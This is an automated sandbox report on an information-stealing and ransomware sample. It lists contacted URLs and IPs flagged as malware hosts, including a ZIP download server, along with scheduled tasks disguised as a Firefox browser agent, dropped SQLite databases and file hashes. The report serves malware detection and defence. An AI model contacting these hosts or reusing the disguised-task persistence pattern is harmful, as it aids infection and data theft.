https://api.ip.sb/ip	37F1.exe, 0000000C.00000002.549799190.0000000005F55000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.545785192.0000000004B70000.00000004.08000000.00040000.00000000.sdmp, 37F1.exe, 0000000C.00000002.544624082.0000000004A4A000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.550663724.0000000007290000.00000004.08000000.00040000.00000000.sdmp, 37F1.exe, 0000000C.00000003.426623227.0000000002EB9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id9Response	37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://c.im/	5487.exe, 00000012.00000002.511826941.0000000000890000.00000040.00001000.00020000.00000000.sdmp, 5487.exe, 00000012.00000002.509467552.0000000000400000.00000040.00000001.01000000.0000000D.sdmp, 5487.exe, 00000012.00000003.421456756.00000000008F0000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	48699315731429539716450555.18.dr	false		high
http://tempuri.org/Entity/Id20	37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id21	37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://o365.217.246.41/	5487.exe, 00000012.00000002.514521211.0000000000A04000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://tempuri.org/Entity/Id22	37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id23	37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id24	37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id24Response	37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id1Response	37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=	58104588985205123450110019.18.dr, 561C.tmp.20.dr, 48699315731429539716450555.18.dr	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/	37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing	37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://95.217.246.41:80/815243149147.zip	5487.exe, 00000012.00000002.509319814.000000000019C000.00000004.00000010.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://tempuri.org/Entity/Id10	37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id11	37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id12	37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id16Response	37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id13	37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id14	37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id15	37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id16	37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id17	37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id18	37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id5Response	37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id19	37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://t.me/truemanshohttps://c.im/	5487.exe, 00000012.00000002.511826941.0000000000890000.00000040.00001000.00020000.00000000.sdmp, 5487.exe, 00000012.00000002.509467552.0000000000400000.00000040.00000001.01000000.0000000D.sdmp, 5487.exe, 00000012.00000003.421456756.00000000008F0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id10Response	37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://t.me/	5487.exe, 00000012.00000002.513831568.00000000009B3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://95.217.246.41/m	5487.exe, 00000012.00000002.513831568.00000000009B3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm8D	37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id8Response	37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.sectigo.com0	509E.dll.1.dr	false	URL Reputation: safe	unknown
https://web.telegram.org	5487.exe, 00000012.00000002.521075349.000000001AE50000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/envelope/	37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://search.yahoo.com?fr=crmas_sfpf	58104588985205123450110019.18.dr, 561C.tmp.20.dr, 48699315731429539716450555.18.dr	false		high
http://tempuri.org/Entity/Id23Response	37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.openssl.org/support/faq.html	5999.exe, 00000019.00000000.456775427.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	5999.exe, 00000013.00000002.474602203.0000000002370000.00000040.00001000.00020000.00000000.sdmp, 5999.exe, 00000019.00000000.458476037.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 5999.exe, 00000019.00000002.480385928.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 5999.exe, 00000019.00000000.456775427.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse	37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/fault	37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id17Response	37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://starvestitibo.org/Mozilla/5.0	explorer.exe, 00000015.00000000.419198116.00000000005D0000.00000040.80000000.00040000.00000000.sdmp, explorer.exe, 00000015.00000002.421091723.00000000008F0000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://tempuri.org/Entity/Id20Response	37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://95.217.27.155:80	5487.exe, 00000012.00000002.511826941.0000000000890000.00000040.00001000.00020000.00000000.sdmp, 5487.exe, 00000012.00000002.509467552.0000000000400000.00000040.00000001.01000000.0000000D.sdmp, 5487.exe, 00000012.00000003.421456756.00000000008F0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://tempuri.org/Entity/Id13Response	37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id4Response	37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty	37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sqlite.org/copyright.html.	5487.exe, 00000012.00000002.530354600.0000000061ED3000.00000008.00000001.01000000.00000013.sdmp, sqlite3.dll.18.dr	false		high
https://sectigo.com/CPS0	509E.dll.1.dr	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement	37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id7Response	37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	58104588985205123450110019.18.dr, 561C.tmp.20.dr, 48699315731429539716450555.18.dr	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id11Response	37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id22Response	37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	58104588985205123450110019.18.dr, 561C.tmp.20.dr, 48699315731429539716450555.18.dr	false		high
http://tempuri.org/Entity/Id1	37F1.exe, 0000000C.00000002.549362346.00000000050B7000.00000004.00000800.00020000.00000000.sdmp, 37F1.exe, 0000000C.00000002.548078417.0000000004FB6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.174.137.70	unknown	Russian Federation	50113	SUPERSERVERSDATACENTERRU	true
87.251.79.105	o3l3roozuidudu.com	Russian Federation	20803	RISS-ASRU	true
193.106.191.15	starvestitibo.org	Russian Federation	42238	BOSPOR-ASRU	false
162.0.217.254	api.2ip.ua	Canada	35893	ACPCA	false
91.195.240.101	furubujjul.net	Germany	47846	SEDO-ASDE	false
95.217.246.41	unknown	Germany	24940	HETZNER-ASDE	false
185.220.204.64	shingroup.com	Israel	41436	CLOUDWEBMANAGE-EUGB	true
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	736968
Start date and time:	2022-11-03 12:44:46 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	file.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	35
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.winEXE@33/33@11/9
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 27.7% (good quality ratio 24.6%) Quality average: 71.1% Quality standard deviation: 33.5%
HCA Information:	Successful, ratio: 100% Number of executed functions: 37 Number of non-executed functions: 58
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.42.73.29, 20.189.173.21
Excluded domains from analysis (whitelisted): fs.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, onedsblobprdwus16.westus.cloudapp.azure.com, watson.telemetry.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
12:46:48	Task Scheduler	Run new task: Firefox Default Browser Agent 12E147DC7E0B2A09 path: C:\Users\user\AppData\Roaming\uucbfdt
12:47:21	API Interceptor	1x Sleep call for process: explorer.exe modified
12:47:23	API Interceptor	3x Sleep call for process: WerFault.exe modified
12:47:33	Task Scheduler	Run new task: Firefox Default Browser Agent DA1E3EF794E9D406 path: C:\Users\user\AppData\Roaming\gecbfdt

Joe Sandbox View / Context

IPs

⊘No context

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
shingroup.com	file.exe	Get hash	malicious	Browse	185.220.204.64
	file.exe	Get hash	malicious	Browse	185.220.204.64
	file.exe	Get hash	malicious	Browse	185.220.204.64
	file.exe	Get hash	malicious	Browse	185.220.204.64
	file.exe	Get hash	malicious	Browse	185.220.204.64
	file.exe	Get hash	malicious	Browse	185.220.204.64
	file.exe	Get hash	malicious	Browse	185.220.204.64
	file.exe	Get hash	malicious	Browse	185.220.204.64
	file.exe	Get hash	malicious	Browse	185.220.204.64
	file.exe	Get hash	malicious	Browse	185.220.204.64
	file.exe	Get hash	malicious	Browse	185.220.204.64
	file.exe	Get hash	malicious	Browse	185.220.204.64
	file.exe	Get hash	malicious	Browse	185.220.204.64
	file.exe	Get hash	malicious	Browse	185.220.204.64
	file.exe	Get hash	malicious	Browse	185.220.204.64
	file.exe	Get hash	malicious	Browse	185.220.204.64
	file.exe	Get hash	malicious	Browse	185.220.204.64
	file.exe	Get hash	malicious	Browse	185.220.204.64
	file.exe	Get hash	malicious	Browse	185.220.204.64
	file.exe	Get hash	malicious	Browse	185.220.204.64
o3l3roozuidudu.com	file.exe	Get hash	malicious	Browse	87.251.79.105
	file.exe	Get hash	malicious	Browse	87.251.79.105
	C1177ACBA3A4332FC24DBE5B69B8AA76AE7780D4FA4C7.exe	Get hash	malicious	Browse	87.251.79.150
	MTHwqkQUl7.exe	Get hash	malicious	Browse	87.251.79.150
	fC9Q541pPC.exe	Get hash	malicious	Browse	87.251.79.150

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\00524103327335046441078177

Download File

Process:	C:\Users\user\AppData\Local\Temp\5487.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, file counter 4, database pages 36, 1st free page 10, free pages 1, cookie 0x29, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	147456
Entropy (8bit):	0.4788315576920595
Encrypted:	false
SSDEEP:	96:YVdU+bb3HDsX0ctSOaDN6tOVjN9DLjGQLBE3u:YVK+H3HDi9GN6IVj3XBBE3u
MD5:	CBB41FCD9B378BBF8B9CC262004C391E
SHA1:	F88112D46F2882AA06A1605B727C505F9188AE8E
SHA-256:	44636710014A0540F2FCE8378C97A99D9B673FA0A95A2C91AAA2DCC4EA7C5570
SHA-512:	B10D30E1DF30D61D59D92C3F48DAF4B907DC3982452132B9E7101CEFEF56590C61D38C331ACDE4EE7CB7D808C3CA86080B5177BEF0D36997E1DCAF019BE05512
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$...........)......................................................[5....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\28782868176069075816534615

Download File

Process:	C:\Users\user\AppData\Local\Temp\5487.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 2, database pages 23, cookie 0x19, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.7876734657715041
Encrypted:	false
SSDEEP:	48:43KzOIIY3HzrkNSs8LKvUf9KnmlG0UX9q4lCm+KLka+yJqhM0ObVEq8Ma0D0HOlx:Sq0NFeymDlGD9qlm+KL2y0Obn8MouO
MD5:	CF7758A2FF4A94A5D589DEBAED38F82E
SHA1:	D3380E70D0CAEB9AD78D14DD970EA480E08232B8
SHA-256:	6CA783B84D01BFCF9AA7185D7857401D336BAD407A182345B97096E1F2502B7F
SHA-512:	1D0C49B02A159EEB4AA971980CCA02751973E249422A71A0587EE63986A4A0EB8929458BCC575A9898CE3497CC5BDFB7050DF33DF53F5C88D110F386A0804CBF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................[5....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\44876058118800687391965244

Download File

Process:	C:\Users\user\AppData\Local\Temp\5487.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, file counter 11, database pages 7, 1st free page 5, free pages 2, cookie 0x13, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.7175172839606828
Encrypted:	false
SSDEEP:	24:TL0PczkwubXYFpFNYcw+6UwcYzHr8CtNdByiWUmozjng15n2PyS3piyQxJEv:TUcYwuLopFgU1YzLHyKDALnMj5iyQ7Ev
MD5:	C1C5F78369A7D66A61D8A8AF47FFC00E
SHA1:	6BADA623EBCC06BE23C97CB069504290FFAC084A
SHA-256:	0528EC1BB5475617C4EA096113BB2D6B07B223945D60E81236FF1BBD72FC6D4F
SHA-512:	39A5BEFD0C5D444C603EE53885EC57709E86CE14E9444F6FB3C26D45B99DD1BB46BA84FE998E11343F30C19BA7F023DA22A16D4D5DB48FA7D57B3E417E9881DE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................[5.........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\48699315731429539716450555

Download File

Process:	C:\Users\user\AppData\Local\Temp\5487.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 3, database pages 45, cookie 0x3d, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	94208
Entropy (8bit):	1.2891393435168748
Encrypted:	false
SSDEEP:	192:Qo1/8dpUXbSzTPJPe6IVuvCySEwn7PrH944:QS/inmjVuaySEwn7b944
MD5:	037D23498B81732EEAAAD0E8015F3F85
SHA1:	E7719865D7717A4B36D85609F3EC25C10934587F
SHA-256:	83AA9D5727AD94D394C57A969A7C53C37F79513316FA5E0283A750C886F342D4
SHA-512:	BFFFB8C7759B65BABD232200305699551AC9BF9BF2C778D5DA124A677900869254C6AB4439BF2A99E08690C29C5A2B17EEEBA7382CF4EAAB12168462A49B3D7D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......-...........=......................................................[5...........*........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\52241653186896206030520942

Download File

Process:	C:\Users\user\AppData\Local\Temp\5487.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, file counter 4, database pages 36, 1st free page 10, free pages 1, cookie 0x29, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	147456
Entropy (8bit):	0.4788315576920595
Encrypted:	false
SSDEEP:	96:YVdU+bb3HDsX0ctSOaDN6tOVjN9DLjGQLBE3u:YVK+H3HDi9GN6IVj3XBBE3u
MD5:	CBB41FCD9B378BBF8B9CC262004C391E
SHA1:	F88112D46F2882AA06A1605B727C505F9188AE8E
SHA-256:	44636710014A0540F2FCE8378C97A99D9B673FA0A95A2C91AAA2DCC4EA7C5570
SHA-512:	B10D30E1DF30D61D59D92C3F48DAF4B907DC3982452132B9E7101CEFEF56590C61D38C331ACDE4EE7CB7D808C3CA86080B5177BEF0D36997E1DCAF019BE05512
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$...........)......................................................[5....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\58104588985205123450110019

Download File

Process:	C:\Users\user\AppData\Local\Temp\5487.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 3, database pages 45, cookie 0x3d, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	94208
Entropy (8bit):	1.2891393435168748
Encrypted:	false
SSDEEP:	192:Qo1/8dpUXbSzTPJPe6IVuvCySEwn7PrH944:QS/inmjVuaySEwn7b944
MD5:	037D23498B81732EEAAAD0E8015F3F85
SHA1:	E7719865D7717A4B36D85609F3EC25C10934587F
SHA-256:	83AA9D5727AD94D394C57A969A7C53C37F79513316FA5E0283A750C886F342D4
SHA-512:	BFFFB8C7759B65BABD232200305699551AC9BF9BF2C778D5DA124A677900869254C6AB4439BF2A99E08690C29C5A2B17EEEBA7382CF4EAAB12168462A49B3D7D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......-...........=......................................................[5...........*........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_45DE.exe_b3c36ad93160e4414e3ec698cedf29c8410ddb6_f9ff7ecc_14da9915\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8216612535118637
Encrypted:	false
SSDEEP:	96:+CuFjUtu01OuoT7R7V6tpXIQcQEc6IcEmcw3t+HbHg/PtuuzOo8Fa9iVfOyWMxNu:+F4uR8HaMsOjIg/u7scS274ItH
MD5:	9431CFA96E581D739372849762CB563F
SHA1:	EDAE8985F8A0D183E49B9BDB459937E7CA770091
SHA-256:	851C283F421A36D37074DAF1F43887AF3F97F16B43B3AB9EA1D68E19306992FA
SHA-512:	0F8EB4ED385DF74FFCE1709652E8943B5DE472BC66EA0EC0143F85BF6084171030779F403A1E939116BFB5A462F70A06311CF1F62952A746B3FB7CDF6AEAFBE4
Malicious:	false
Reputation:	unknown
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.1.1.9.7.8.4.3.5.3.5.6.6.1.7.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.1.1.9.7.8.4.4.3.4.6.5.9.5.5.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.5.2.2.f.9.d.7.-.1.9.6.3.-.4.d.9.d.-.a.3.1.c.-.0.6.4.9.8.0.9.9.c.3.c.7.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.c.4.1.a.c.f.5.-.0.8.b.4.-.4.8.7.9.-.9.b.5.9.-.d.2.0.4.1.9.f.f.a.8.8.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.4.5.D.E...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.5.8.c.-.0.0.0.1.-.0.0.1.a.-.f.1.5.d.-.4.1.0.5.b.d.e.f.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.2.4.0.5.8.9.e.f.d.4.6.1.d.e.d.0.5.a.1.e.5.e.7.6.5.6.6.b.4.3.5.7.0.0.0.0.f.f.f.f.!.0.0.0.0.8.6.8.0.f.7.a.7.e.6.d.3.d.2.b.5.e.b.e.a.1.a.6.b.9.0.d.b.4.1.c.a.f.9.0.a.5.2.5.9.!.4.5.D.E...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.2././.0.9././.2.6.:.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_49F6.exe_88d68c73c962642c5d81665eeb6ebaffc25a77e_490ff5e7_11c61f42\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8136722977224999
Encrypted:	false
SSDEEP:	96:/4FBCDqeIOuoT7Jf7ppXIQcQEc6IcEmcw3F+HbHg/PtuuzOo8Fa9iVfOyWMxNo8X:weDqU3HaMsmjIg/u7scS274Itq
MD5:	CF1CF8D54D91EDD9C0370E2214234515
